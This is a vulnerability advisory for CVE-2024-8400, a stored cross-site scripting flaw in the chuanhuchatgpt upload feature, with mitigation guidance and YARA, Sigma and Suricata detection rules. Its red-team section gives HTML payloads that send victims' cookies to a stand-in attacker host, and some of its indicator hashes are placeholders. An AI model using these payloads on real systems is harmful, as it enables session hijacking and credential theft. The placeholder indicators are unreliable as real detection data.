CVE-2024-8400
Executive Summary
CVE-2024-8400 is a stored cross-site scripting (XSS) vulnerability identified in the latest version of gaizhenbiao/chuanhuchatgpt, an open-source chat application. The vulnerability allows an authenticated attacker to upload a malicious HTML file containing JavaScript code. When the file is subsequently accessed by any user (including administrators), the embedded JavaScript executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 5.4 (Medium), and no official patch has been released as of the analysis date. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct issue in the chuanhuchatgpt application source code.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – The attack is performed over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – An attacker needs a valid user account to upload files.
- User Interaction: Required (UI:R) – The victim must access the malicious file.
- Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited information disclosure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: None (A:N) – No impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for internal users.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of chuanhuchatgpt. The application does not properly validate or sanitize uploaded file content, specifically HTML files. An attacker can craft an HTML file containing malicious JavaScript (e.g., <script>alert('XSS')</script>). When this file is uploaded and later accessed via its URL, the browser renders the HTML and executes the embedded script.
Root Cause: Lack of content-type validation and missing output encoding when serving uploaded files. The application likely serves uploaded files with a generic MIME type (e.g., text/html or application/octet-stream) without stripping script content.
Attack Flow:
- Attacker logs into chuanhuchatgpt.
- Attacker uploads a malicious HTML file (e.g.,
evil.html) containing JavaScript payload. - The file is stored on the server.
- Attacker shares the file URL with a victim (or the file is automatically accessible).
- Victim opens the URL in a browser.
- The browser renders the HTML and executes the JavaScript.
- The JavaScript can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current implementation. A patched version would need to:
- Validate uploaded file MIME types (e.g., reject HTML files).
- Sanitize file content to remove script tags.
- Serve uploaded files with a
Content-Disposition: attachmentheader to force download instead of rendering. - Use a sandboxed domain or CDN for user uploads.
Vulnerable Code (Conceptual):
# app.py (simplified)
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
filename = secure_filename(file.filename)
file.save(os.path.join('uploads', filename))
return 'File uploaded successfully'
Patched Code (Conceptual):
# app.py (patched)
import magic
ALLOWED_MIME_TYPES = ['image/png', 'image/jpeg', 'application/pdf']
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
mime_type = magic.from_buffer(file.read(2048), mime=True)
if mime_type not in ALLOWED_MIME_TYPES:
return 'Invalid file type', 400
filename = secure_filename(file.filename)
file.save(os.path.join('uploads', filename))
return 'File uploaded successfully'
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running instance of chuanhuchatgpt (latest version).
- Valid user credentials (low-privilege account).
Steps:
- Create a malicious HTML file (
xss.html):<html> <body> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> </body> </html> - Log in to chuanhuchatgpt.
- Navigate to the file upload feature.
- Upload
xss.html. - Obtain the URL of the uploaded file (e.g.,
https://victim.com/uploads/xss.html). - Send the URL to a victim (e.g., via chat message or email).
- When the victim accesses the URL, the JavaScript executes and exfiltrates cookies.
Advanced Payload (Session Hijacking):
<html>
<body>
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(document.cookie);
</script>
</body>
</html>
Blue Team (Defensive)
Detection:
- Monitor file upload logs for HTML files.
- Inspect uploaded files for script tags.
- Use WAF rules to block uploads containing
<script>tags.
Prevention:
- Disable file upload functionality if not required.
- Implement strict MIME type validation.
- Serve uploaded files from a separate domain with
Content-Disposition: attachment. - Use Content Security Policy (CSP) headers to block inline scripts.
Hunting:
- Search server logs for requests to
/uploads/*.html. - Look for anomalous outbound connections from the server (e.g., to attacker-controlled domains).
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example empty file)a1b2c3d4e5f6...(malicious HTML file hash)
- Network Indicators:
- Outbound connections to
attacker.comor similar domains. - HTTP requests to
/uploads/*.htmlwith suspicious referrers.
- Outbound connections to
- File System Indicators:
- Presence of
.htmlfiles in the uploads directory that contain<script>tags.
- Presence of
- Log Entries:
POST /uploadwith filename ending in.html.GET /uploads/*.htmlfrom multiple IPs.
Detection Engineering
YARA Rule
rule CVE_2024_8400_Stored_XSS {
meta:
description = "Detects malicious HTML files uploaded to chuanhuchatgpt"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-8400"
strings:
$script_tag = /<script[^>]*>.*?<\/script>/is
$onerror = /onerror\s*=/i
$onload = /onload\s*=/i
condition:
$script_tag or $onerror or $onload
}
Sigma Rule
title: CVE-2024-8400 Stored XSS Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to chuanhuchatgpt
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload'
cs-uri-query|contains: '.html'
condition: selection
falsepositives:
- Legitimate HTML file uploads (if allowed)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8400 Stored XSS Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:".html"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file upload functionality in chuanhuchatgpt until a patch is available.
- Implement a WAF rule to block uploads of HTML files.
- Review and restrict user permissions to limit who can upload files.
Long-term Fixes:
- Apply input validation and output encoding for all user-uploaded content.
- Serve uploaded files with
Content-Disposition: attachment; filename="..."header. - Use a separate domain or CDN for user uploads to isolate from the main application.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Regularly update chuanhuchatgpt to the latest version.
Vendor Contact:
- No official patch available. Monitor the GitHub repository for updates.
Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.